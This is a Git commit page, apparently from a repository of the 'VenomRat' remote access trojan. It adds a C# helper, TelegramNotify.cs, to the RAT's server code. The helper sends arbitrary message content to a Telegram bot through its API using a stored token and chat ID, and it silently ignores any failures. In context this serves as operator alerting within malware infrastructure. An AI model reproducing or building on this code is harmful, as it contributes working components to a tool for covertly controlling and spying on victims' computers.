VenomRat
This commit is contained in:
24
Helper/TelegramNotify.cs
Normal file
24
Helper/TelegramNotify.cs
Normal file
@@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
using Server.Properties;
|
||||
|
||||
namespace Server.Helper;
|
||||
|
||||
public class TelegramNotify
|
||||
{
|
||||
public static void SendNotify(string _content)
|
||||
{
|
||||
if (!Server.Properties.Settings.Default.TelegramEnabled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string address = "https://api.telegram.org/bot" + Server.Properties.Settings.Default.TelegramToken + "/sendMessage?chat_id=" + Server.Properties.Settings.Default.TelegramChatId + "&text=" + _content;
|
||||
new WebClient().DownloadString(address);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user